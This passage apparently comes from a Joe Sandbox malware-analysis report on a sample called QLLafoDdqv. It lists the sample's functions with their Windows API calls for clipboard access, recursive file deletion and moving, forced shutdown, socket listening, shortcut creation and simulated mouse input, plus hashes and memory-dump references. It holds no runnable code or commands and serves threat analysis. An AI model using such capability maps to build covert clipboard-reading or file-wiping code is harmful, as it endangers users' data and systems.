GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730D55
HeapFree.KERNEL32(00000000), ref: 00730D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00730D65
HeapFree.KERNEL32(00000000), ref: 00730D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 00730D78
HeapFree.KERNEL32(00000000), ref: 00730D7F

Part of subcall function 00731193: GetProcessHeap.KERNEL32(00000008,00730BB1,?,00000000,?,00730BB1,?), ref: 007311A1
Part of subcall function 00731193: HeapAlloc.KERNEL32(00000000,?,00000000,?,00730BB1,?), ref: 007311A8
Part of subcall function 00731193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,00730BB1,?), ref: 007311B7

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: d0da6c846c2da9ede811e80dd3f2df1d32031d6f1a5231efb55b3de6e90706bc
Instruction ID: 2e4cc43748dea0ee93f3fc4515fb786a8a89af4e5da4d4779ff994940bc917d0
Opcode Fuzzy Hash: d0da6c846c2da9ede811e80dd3f2df1d32031d6f1a5231efb55b3de6e90706bc
Instruction Fuzzy Hash: 13717D72A0020AABEF11DFA4DC45FEEBBB8BF04300F048555E955A7192D7B9A905CBB0

Function 0074EAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(0076CC08), ref: 0074EB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 0074EB37
GetClipboardData.USER32(0000000D), ref: 0074EB43
CloseClipboard.USER32 ref: 0074EB4F
GlobalLock.KERNEL32(00000000), ref: 0074EB87
CloseClipboard.USER32 ref: 0074EB91
GlobalUnlock.KERNEL32(00000000,00000000), ref: 0074EBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 0074EBC9
GetClipboardData.USER32(00000001), ref: 0074EBD1
GlobalLock.KERNEL32(00000000), ref: 0074EBE2
GlobalUnlock.KERNEL32(00000000,?), ref: 0074EC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 0074EC38
GetClipboardData.USER32(0000000F), ref: 0074EC44
GlobalLock.KERNEL32(00000000), ref: 0074EC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 0074EC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0074EC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 0074ECD2
GlobalUnlock.KERNEL32(00000000,?,?), ref: 0074ECF3
CountClipboardFormats.USER32 ref: 0074ED14
CloseClipboard.USER32 ref: 0074ED59

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: f9ad4836b8881398c805ec99b10c4ec892ae9ad04fb1793d89e9b3b448b4446d
Instruction ID: 26bca0bc1d2f79236c8b5b7e59c8c7fe617b200fc349f9ecedf46cbd8b36394c
Opcode Fuzzy Hash: f9ad4836b8881398c805ec99b10c4ec892ae9ad04fb1793d89e9b3b448b4446d
Instruction Fuzzy Hash: E661AC742043019FD301EF24D898F3A77A5FF84724F08855EF896872A2CB79E905CBA6

Function 0074698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 007469BE
FindClose.KERNEL32(00000000), ref: 00746A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00746A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00746A75

Part of subcall function 006D9CB3: _wcslen.LIBCMT ref: 006D9CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 00746AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 00746ADF

Strings

%02d, xrefs: 00746C00, 00746C0A, 00746C5A, 00746CAA, 00746CFA, 00746D4A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 00746B32
%03d, xrefs: 00746DA2
%4d%02d%02d%02d%02d%02d, xrefs: 00746B6A
%4d, xrefs: 00746BB1

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: ce5ab46fd1609299e68eb528a3760ec7fe76e7fba490e43b7a37ed0cebaf3dc8
Instruction ID: fe9c467129c160baf71d1a7cbb9fe03151f040d5701f3ae4040243f957447cb9
Opcode Fuzzy Hash: ce5ab46fd1609299e68eb528a3760ec7fe76e7fba490e43b7a37ed0cebaf3dc8
Instruction Fuzzy Hash: 42D173B1908340AFC754EBA4D891EABB7EDBF88704F44491EF585C7291EB74DA04CB62

Function 00749642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 00749663
GetFileAttributesW.KERNEL32(?), ref: 007496A1
SetFileAttributesW.KERNEL32(?,?), ref: 007496BB
FindNextFileW.KERNEL32(00000000,?), ref: 007496D3
FindClose.KERNEL32(00000000), ref: 007496DE
FindFirstFileW.KERNEL32(*.*,?), ref: 007496FA
SetCurrentDirectoryW.KERNEL32(?), ref: 0074974A
SetCurrentDirectoryW.KERNEL32(00796B7C), ref: 00749768
FindNextFileW.KERNEL32(00000000,00000010), ref: 00749772
FindClose.KERNEL32(00000000), ref: 0074977F
FindClose.KERNEL32(00000000), ref: 0074978F

Strings

*.*, xrefs: 007496F5

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 6a189900d562fd0f3cfdd0de180322517b7f1be12165ae9442f54888fe8bf475
Instruction ID: 9dd12a5f6265c9a0a3a34b12d2d3c94abe420f8161b55ac953df22588976fcbd
Opcode Fuzzy Hash: 6a189900d562fd0f3cfdd0de180322517b7f1be12165ae9442f54888fe8bf475
Instruction Fuzzy Hash: B731F9725402196EDF11EFB4DC09AEF77ACAF09320F148156FA56E2190EB78DE448B14

Function 0074979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,76228FB0,?,00000000), ref: 007497BE
FindNextFileW.KERNEL32(00000000,?), ref: 00749819
FindClose.KERNEL32(00000000), ref: 00749824
FindFirstFileW.KERNEL32(*.*,?), ref: 00749840
SetCurrentDirectoryW.KERNEL32(?), ref: 00749890
SetCurrentDirectoryW.KERNEL32(00796B7C), ref: 007498AE
FindNextFileW.KERNEL32(00000000,00000010), ref: 007498B8
FindClose.KERNEL32(00000000), ref: 007498C5
FindClose.KERNEL32(00000000), ref: 007498D5

Part of subcall function 0073DAE5: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 0073DB00

Strings

*.*, xrefs: 0074983B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Find$File$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 2640511053-438819550
Opcode ID: c780874a21ad45ac86f7947febb4d53a835f8b8b8cef2efe8260e8610610cd08
Instruction ID: c049285ddb61d30c35fcd9dfff684781a7d875f4b443f07a49a77d302ff12b77
Opcode Fuzzy Hash: c780874a21ad45ac86f7947febb4d53a835f8b8b8cef2efe8260e8610610cd08
Instruction Fuzzy Hash: C931E4715003196EEF11EFB8EC49AEF77ACAF06320F148256FA51A2191DB78DE44CB24

Function 00748195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00748257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00748267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00748273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00748310
SetCurrentDirectoryW.KERNEL32(?), ref: 00748324
SetCurrentDirectoryW.KERNEL32(?), ref: 00748356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0074838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00748395

Strings

*.*, xrefs: 0074839B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 0c3c1c8d972425a22753478f90c2e5629657babe5ecc5d1133feb463515690b3
Instruction ID: b7adcd07df4f8150e2f4655e967cec24d17107c75c5b6f2a12519b71cc609257
Opcode Fuzzy Hash: 0c3c1c8d972425a22753478f90c2e5629657babe5ecc5d1133feb463515690b3
Instruction Fuzzy Hash: 5A616A725043099FCB50EF64D8449AEB3E9FF89310F04891EF989C7251EB39E945CB96

Function 0073D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006D3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006D3A97,?,?,006D2E7F,?,?,?,00000000), ref: 006D3AC2

Part of subcall function 0073E199: GetFileAttributesW.KERNEL32(?,0073CF95), ref: 0073E19A

FindFirstFileW.KERNEL32(?,?), ref: 0073D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0073D1DD
MoveFileW.KERNEL32(?,?), ref: 0073D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0073D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0073D237

Part of subcall function 0073D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0073D21C,?,?), ref: 0073D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0073D253
FindClose.KERNEL32(00000000), ref: 0073D264

Strings

\*.*, xrefs: 0073D0CD, 0073D0D6, 0073D0EB

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: 8d8350918ee7d2835e02ad51641f89498d10bb290706d340d4796fa6929d2817
Instruction ID: bce085d378b6d754e39ed4505b7288ef27929317601873dc31b4c67e6b6eb938
Opcode Fuzzy Hash: 8d8350918ee7d2835e02ad51641f89498d10bb290706d340d4796fa6929d2817
Instruction Fuzzy Hash: 75618D31D0110D9FDF15EBE0EA929EEB776AF15300F24416AE40277292EB345F09DB65

Function 0074ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0074ED91
EmptyClipboard.USER32 ref: 0074ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0074EDAC
CloseClipboard.USER32 ref: 0074EEA3

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: d7bc9851155d743fe890564f93417b07b91641f4f64ea739b960c5818ef115ae
Instruction ID: 76fd42fe24232da41f34ba76e19fb0f16b4ea39360d2add1a9b01192d92906c7
Opcode Fuzzy Hash: d7bc9851155d743fe890564f93417b07b91641f4f64ea739b960c5818ef115ae
Instruction Fuzzy Hash: 1C417935604611AFE721DF15D888F2ABBA5FF44328F14C099E8568B662C779EC42CB98

Function 0073E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 007316C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0073170D
Part of subcall function 007316C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0073173A
Part of subcall function 007316C3: GetLastError.KERNEL32 ref: 0073174A

ExitWindowsEx.USER32(?,00000000), ref: 0073E932

Strings

, xrefs: 0073E95C
SeShutdownPrivilege, xrefs: 0073E902
@, xrefs: 0073E925
, xrefs: 0073E920

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 29605785c4c4f674a4c988537f27825083788cba4fe7177f13e150eb66884608
Instruction ID: 7644832773076d6076f8b54017c6d6cdc5ef9e16c7ca41c84611a131e81c1e17
Opcode Fuzzy Hash: 29605785c4c4f674a4c988537f27825083788cba4fe7177f13e150eb66884608
Instruction Fuzzy Hash: 4B01D672610315EBFB5466B49C8ABBB725CA714750F154522FC03E21D3D5AD6C408395

Function 00751204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00751276
WSAGetLastError.WSOCK32 ref: 00751283
bind.WSOCK32(00000000,?,00000010), ref: 007512BA
WSAGetLastError.WSOCK32 ref: 007512C5
closesocket.WSOCK32(00000000), ref: 007512F4
listen.WSOCK32(00000000,00000005), ref: 00751303
WSAGetLastError.WSOCK32 ref: 0075130D
closesocket.WSOCK32(00000000), ref: 0075133C

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: e11f8cacd6958e878d31d180a7fc7d56a5fac0d13bd429cabf37b67a729695c9
Instruction ID: 4a023fd7b94370d9522c3e88ee3e41cf9f48f41cd75a973526b27d2c490e090f
Opcode Fuzzy Hash: e11f8cacd6958e878d31d180a7fc7d56a5fac0d13bd429cabf37b67a729695c9
Instruction Fuzzy Hash: B6419331A002019FD710DF24C498B69BBE6BF86319F588199D8568F396C7B9EC85CBE1

Function 0070B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0070B9D4
_free.LIBCMT ref: 0070B9F8
_free.LIBCMT ref: 0070BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00773700), ref: 0070BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,007A121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0070BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,007A1270,000000FF,?,0000003F,00000000,?), ref: 0070BC36
_free.LIBCMT ref: 0070BD4B

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: ff62f05893bd03654710251118826394acccf7fcb898ef9175009f9c40334fa1
Instruction ID: 8b73b1cf3add4b2e3befb79fdd0ba1a848c2488a021a9335b104180babde4212
Opcode Fuzzy Hash: ff62f05893bd03654710251118826394acccf7fcb898ef9175009f9c40334fa1
Instruction Fuzzy Hash: A6C118B1A04205DFDB20DF688C45BAABBE9EF82310F64839AE594D72D1D7389F418754

Function 0073D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006D3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,006D3A97,?,?,006D2E7F,?,?,?,00000000), ref: 006D3AC2

Part of subcall function 0073E199: GetFileAttributesW.KERNEL32(?,0073CF95), ref: 0073E19A

FindFirstFileW.KERNEL32(?,?), ref: 0073D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0073D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0073D481
FindClose.KERNEL32(00000000), ref: 0073D498
FindClose.KERNEL32(00000000), ref: 0073D4A1

Strings

\*.*, xrefs: 0073D3F2

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: d0d186c2cc7bbfd8b449b01c630ffdaa9258bd91fc18ec41823ea8d55f5985ad
Instruction ID: eac0b61cea7083ceae01ddbda10383e577232688b13f8a8e79fb91f9164828a7
Opcode Fuzzy Hash: d0d186c2cc7bbfd8b449b01c630ffdaa9258bd91fc18ec41823ea8d55f5985ad
Instruction Fuzzy Hash: 793190314083819FD315EF60D8918AFB7A9BE91300F444A1EF8D152292EB34AE09C7A7

Function 0070E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0070E645

Strings

1#QNAN, xrefs: 0070F84B
1#INF, xrefs: 0070F852
1#SNAN, xrefs: 0070F844
1#IND, xrefs: 0070F83D

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4e7c5b1c64c152118a28c5fc1936f06ccb31f59c6b77d74653aaee0572b1885b
Instruction ID: fc4c059e3dd3992df76e8b32b6770aea6016ab072556c73e08d9e955c1b7d637
Opcode Fuzzy Hash: 4e7c5b1c64c152118a28c5fc1936f06ccb31f59c6b77d74653aaee0572b1885b
Instruction Fuzzy Hash: C1C22971E04628CFDB65CE289D407EAB7F5EB44314F1446EAD84DE7281E778AE818F40

Function 0074648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 007464DC
CoInitialize.OLE32(00000000), ref: 00746639
CoCreateInstance.OLE32(0076FCF8,00000000,00000001,0076FB68,?), ref: 00746650
CoUninitialize.OLE32 ref: 007468D4

Strings

.lnk, xrefs: 007464BA, 00746524, 007465E0

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 23728add326f4e8799e038a8273b90ec5e76e3cf346854aa68f885b76ec5ca21
Instruction ID: cb9ef2f34f99fcac94052ca47b1de849c821af0f6a8f52df6ca59be83f865122
Opcode Fuzzy Hash: 23728add326f4e8799e038a8273b90ec5e76e3cf346854aa68f885b76ec5ca21
Instruction Fuzzy Hash: 80D12871908301AFC354EF24C88196BB7E9FF95704F40496DF5958B2A1EB71ED05CBA2

Function 007522DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 007522E8

Part of subcall function 0074E4EC: GetWindowRect.USER32(?,?), ref: 0074E504

GetDesktopWindow.USER32 ref: 00752312
GetWindowRect.USER32(00000000), ref: 00752319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00752355
GetCursorPos.USER32(?), ref: 00752381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 007523DF

Memory Dump Source

Source File: 00000000.00000002.2127518788.00000000006D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006D0000, based on PE: true

Associated: 00000000.00000002.2127482302.00000000006D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.000000000076C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127589369.0000000000792000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127631726.000000000079C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2127648208.00000000007A4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d0000_QLLafoDdqv.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 765aaeedce4ff849935b1ed7c3d945a0398f145955c4d746b5e8d2adc2ed0767
Instruction ID: ada55b00d8781adb8c5756bfe7e74830e864a914e828ce3784f89565fd000adf
Opcode Fuzzy Hash: 765aaeedce4ff849935b1ed7c3d945a0398f145955c4d746b5e8d2adc2ed0767
